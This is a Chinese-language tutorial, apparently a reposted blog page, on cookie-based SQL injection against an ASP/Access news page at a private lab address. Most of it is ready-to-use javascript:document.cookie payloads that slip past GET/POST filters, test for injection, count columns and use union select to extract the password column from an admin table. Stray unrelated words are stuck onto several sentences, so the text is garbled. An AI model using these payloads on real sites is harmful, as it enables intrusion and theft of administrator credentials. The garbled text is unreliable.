Cookie注入

Cookie注入

以ACCESS數據庫爲例;其餘數據庫用相應的注入語句就能夠javascript

Cookie注入的目的

主要是爲了繞過程序員在get、post等傳參處作的一些過濾。java

如何Cookie注入

目標站點:
192.168.74.136:8009/shownews.asp?id=26
在進行get注入時發現過濾關鍵字,嘗試Cookie注入
程序員

  1. 刷新須要注入的當前網頁,清空地址欄並輸入
javascript:alert(document.cookie="id="+escape("27"));

  1. 點擊回車,發現彈窗以下:
    數據庫

  2. 點擊頁面上出現的肯定框。    cookie

  3. 驗證是否改好了cookie:
    如今更改好了cookie後咱們就要試下能不能正常訪問了,如今在另一個窗口中咱們打開如下地址:
    http://192.168.74.136:8009/shownews.asp?
    既是將「id=27」去掉後的URL,而後看是否能正常訪問。
    post

  4. 可見訪問以後的頁面與訪問 http://192.168.74.136:8009/shownews.asp?id=27 的時候是同樣的,這樣就說明程序在使用request對象獲取數據的時候並未指明具體使用什麼方法來獲取,而是直接使用request("xx")的方式。如今說明cookie處是有可能存在注入的,接下來咱們測試下可否提交特殊字符,看程序是否對數據進行過濾。測試

判斷是否存在過濾

回到剛纔更改cookie的頁面,而後在地址欄處填寫code

javascript:alert(document.cookie="id="+escape("27 and 1=1"));

回車後再去http://192.168.74.136:8009/shownews.asp?頁面刷新,看頁面是否正常。
若是正常咱們再提交對象

javascript:alert(document.cookie="id="+escape("27 and 1=2"));

而後再去刷新,這個時候就會看見出錯了,說明能夠注入,且不存在過濾。blog

獲取字段總數

javascript:alert(document.cookie="id="+escape("27 order by 1"));  
刷新 http://192.168.74.136:8009/shownews.asp?  界面 ,返回正常

javascript:alert(document.cookie="id="+escape("27 order by 11"));
刷新 http://192.168.74.136:8009/shownews.asp?  界面 ,返回正常

javascript:alert(document.cookie="id="+escape("27 order by 12"));
刷新 http://192.168.74.136:8009/shownews.asp?  界面 ,返回錯誤
說明字段數是 11

猜解表名

javascript:alert(document.cookie="id="+escape("27 union select 1,2,3,4,5,6,7,8,9,10,11 from 表名"));

javascript:alert(document.cookie="id="+escape("27 union select 1,2,3,4,5,6,7,8,9,10,11 from admin"));

猜解列名

javascript:alert(document.cookie="id="+escape("27 union select 1,列名,3,4,5,6,7,8,9,10,11 from 表名"));

javascript:alert(document.cookie="id="+escape("27 union select 1,password,3,4,5,6,7,8,9,10,11 from admin"));
相關文章
相關標籤/搜索